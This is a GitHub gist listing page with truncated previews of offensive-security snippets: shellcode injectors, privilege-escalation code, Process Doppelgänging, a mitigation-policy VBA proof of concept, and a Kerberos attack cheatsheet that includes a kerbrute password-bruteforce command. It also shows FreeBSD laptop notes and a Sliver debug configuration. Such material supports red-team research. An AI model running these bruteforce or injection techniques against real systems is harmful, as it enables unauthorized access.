Skip to content

Instantly share code, notes, and snippets.

@lesnuages
lesnuages / Notes.md
Created September 24, 2018 10:49
Freebsd Lenovo X1 Carbon 4th gen

Graphics

  • Install 12.0 (or later)
  • Install drm-next-kmod from ports - do not install xf86-video-intel

Wireless

  • Recognized by default, need to enable iwm in rc.conf

Touchpad

@lesnuages
lesnuages / ShellcodeTest.cs
Created January 21, 2019 12:36 — forked from TheWover/ShellcodeTest.cs
Dirty but working C# remote shell code injector. Injects into explorer using the architecture of the platform. Modified from several random sources and cleaned up a bit.
/* Author: TheWover
Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls.
Last Modified: 11/1/2018
*/
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ShellcodeTest
@lesnuages
lesnuages / main.go
Created January 25, 2019 15:04
Get current process owner name
package main
import (
"fmt"
"log"
"syscall"
"unsafe"
)
// getInfo retrieves a specified type of information about an access token.
@lesnuages
lesnuages / priv.go
Last active February 11, 2019 19:57
Privesc crash
package main
import (
"fmt"
"log"
"os/exec"
"syscall"
"time"
"unsafe"
)
@lesnuages
lesnuages / inject.c
Created July 11, 2019 09:06 — forked from hfiref0x/inject.c
Process Doppelgänging
//
// Ref = src
// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
//
// Credits:
// Vyacheslav Rusakov @swwwolf
// Tom Bonner @thomas_bonner
//
#include <Windows.h>
@lesnuages
lesnuages / getsystem.go
Created April 17, 2019 17:20
Inject shellcode in a system process, leveraging SeDebugPrivilege
package main
import (
"io/ioutil"
"log"
"net/http"
"os"
"runtime"
"syscall"
"unsafe"
@lesnuages
lesnuages / kerberos_attacks_cheatsheet.md
Created August 28, 2019 22:03 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
)
@lesnuages
lesnuages / PCMPBNMBAO_x86_poc.vba
Created October 29, 2019 15:20 — forked from xpn/PCMPBNMBAO_x86_poc.vba
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON POC via VBA
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
@lesnuages
lesnuages / launch.json
Last active November 30, 2020 19:42
vscode sliver debug conf
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Debug Server",
"type": "go",
"request": "attach",